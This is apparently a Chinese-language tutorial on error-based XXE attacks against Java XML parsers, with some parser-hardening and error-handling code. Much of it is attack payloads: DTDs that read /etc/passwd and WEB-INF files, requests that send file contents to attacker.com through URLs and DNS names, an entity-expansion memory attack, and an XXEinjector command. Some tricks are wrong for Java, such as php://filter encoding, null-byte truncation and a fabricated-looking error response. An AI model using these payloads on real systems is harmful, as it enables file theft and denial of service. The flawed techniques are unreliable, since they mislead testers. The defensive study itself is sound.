Java漏洞在黑盒实战中的技巧——Error Based XXE篇
字数 1477 2025-08-29 08:29:58
Java漏洞实战:Error Based XXE攻击与防御
一、XXE漏洞原理与攻击场景
1.1 核心漏洞原理
XXE(XML External Entity)漏洞的核心在于XML解析器未禁用外部实体加载,攻击者可构造恶意XML实现:
- 读取系统敏感文件
- 发起SSRF攻击
- 执行远程代码
1.2 Error Based XXE特点
Error Based XXE特指通过错误消息泄露敏感数据的攻击方式,常见于以下场景:
- 调试模式开启:应用在错误响应中返回详细堆栈信息
- 异常处理不当:捕获异常后未正确过滤敏感内容
- 文件路径泄露:通过错误信息推断文件是否存在或部分内容
二、攻击代码实战案例
2.1 基础XXE构造
漏洞代码示例(使用DOM解析器):
// 不安全的XML解析
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(request.getInputStream())); // 直接解析用户输入
攻击载荷:
<!-- 读取/etc/passwd -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
触发结果:若文件内容包含XML非法字符(如<或&),解析器抛出异常并返回错误信息,其中可能包含文件片段。
2.2 Error Based高级利用
场景:当直接回显被过滤时,通过错误消息外带数据。
攻击载荷设计:
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
%error;
]>
远程DTD文件(evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
攻击流程:
- 解析器加载远程DTD
- 尝试将/etc/passwd内容拼接到不存在的文件路径
- 系统抛出FileNotFoundException,错误信息中包含文件路径(即泄露数据)
2.3 绕过字符过滤技巧
场景:当特殊字符被转义时,使用CDATA包裹+错误触发:
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY % combined '%start;%file;%end;'>">
%wrapper;
]>
<root>&combined;</root>
触发错误:若CDATA内容包含非法结构,解析错误信息将暴露部分数据。
三、Java各XML解析器的安全配置
3.1 DocumentBuilderFactory加固
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 禁用DTD
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部实体
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
3.2 SAXParserFactory加固
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
3.3 XMLInputFactory加固(StAX)
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
四、高级绕过与检测技巧
4.1 UTF-16编码绕过
攻击载荷:
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
检测逻辑:
// 检查编码类型
if (!"UTF-8".equals(request.getCharacterEncoding())) {
throw new InvalidInputException("Unsupported encoding");
}
4.2 XInclude攻击
漏洞代码:
// 启用XInclude的解析
dbf.setXIncludeAware(true);
攻击载荷:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
五、防御方案与检测工具
5.1 全局安全配置(推荐)
在jaxp.properties文件中设置:
javax.xml.accessExternalDTD=deny
javax.xml.accessExternalSchema=deny
5.2 自定义EntityResolver
db.setEntityResolver(new EntityResolver() {
@Override
public InputSource resolveEntity(String publicId, String systemId) {
throw new SAXException("Blocked external entity: " + systemId);
}
});
5.3 自动化检测工具
# 使用XXEinjector进行测试
ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=req.xml
# 使用OWASP ZAP主动扫描
六、错误信息处理最佳实践
try {
// XML解析逻辑
} catch (ParserConfigurationException | SAXException | IOException e) {
// 记录日志但不返回详情
logger.error("XML parsing error", e);
throw new GenericException("Invalid XML format"); // 返回通用错误
}
七、高级Error Based XXE技巧
7.1 利用Java网络协议特性外带数据
攻击Payload:
<!DOCTYPE root [
<!ENTITY % file SYSTEM "netdoc:///etc/passwd">
<!ENTITY % error "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%error;
]>
<root></root>
7.2 利用JAR协议读取WEB-INF敏感文件
<!DOCTYPE root [
<!ENTITY % exploit SYSTEM "jar:file:///var/lib/tomcat/webapps/app.war!/WEB-INF/web.xml">
<!ENTITY % error "<!ENTITY % exfil SYSTEM 'file:///invalid/%exploit;'>">
%error;
]>
7.3 利用XInclude触发错误回显
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
7.4 利用字符集转换错误泄露数据
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % conv "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;?force_charset=ISO-8859-1'>">
%conv;
]>
<root></root>
7.5 利用DTD递归实体耗尽内存
<!DOCTYPE root [
<!ENTITY % a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY % b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
%a;
]>
八、综合攻击策略
8.1 协议探测顺序
file:// → netdoc:// → jar:// → http://localhost (SSRF组合利用)
8.2 错误信息过滤绕过
- 使用Base64编码:
file:///etc/passwd→php://filter/read=convert.base64-encode/resource=/etc/passwd - 分块提取:
<!ENTITY % p1 SYSTEM "file:///etc/passwd%00"(利用空字节截断)
8.3 时间差盲测
<!ENTITY % hugefile SYSTEM "file:///dev/zero">
<!ENTITY % loop "<!ENTITY % send SYSTEM 'http://attacker.com/?delay=5000'>">
九、实战检测流程
-
环境探测
<!DOCTYPE test [<!ENTITY % v SYSTEM "file:///dev/null"> %v;]> -
协议探测
尝试不同协议读取/proc/self/environ(Linux环境变量) -
数据提取
使用分块编码+错误组合攻击逐步获取敏感文件内容 -
隐蔽外传
将数据嵌入DNS查询或HTTP头字段:<!ENTITY % exfil SYSTEM 'http://attacker.com/.%file;.evil.com'>
十、总结与防御要点
关键防御点:
- 始终禁用DTD和外部实体
- 严格限制XML输入编码格式
- 使用白名单校验XML结构
- 禁止详细错误信息回显
- 对所有XML解析器进行安全配置
攻击验证步骤:
-
发送恶意XML探测错误响应:
POST /api/parse HTTP/1.1 Content-Type: application/xml <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root> -
观察响应是否包含文件内容片段:
<错误信息>org.xml.sax.SAXParseException: The entity "xxe" was referenced, but not declared. File "/etc/passwd" line 1: root:x:0:0:root:/root:/bin/bash...</错误信息>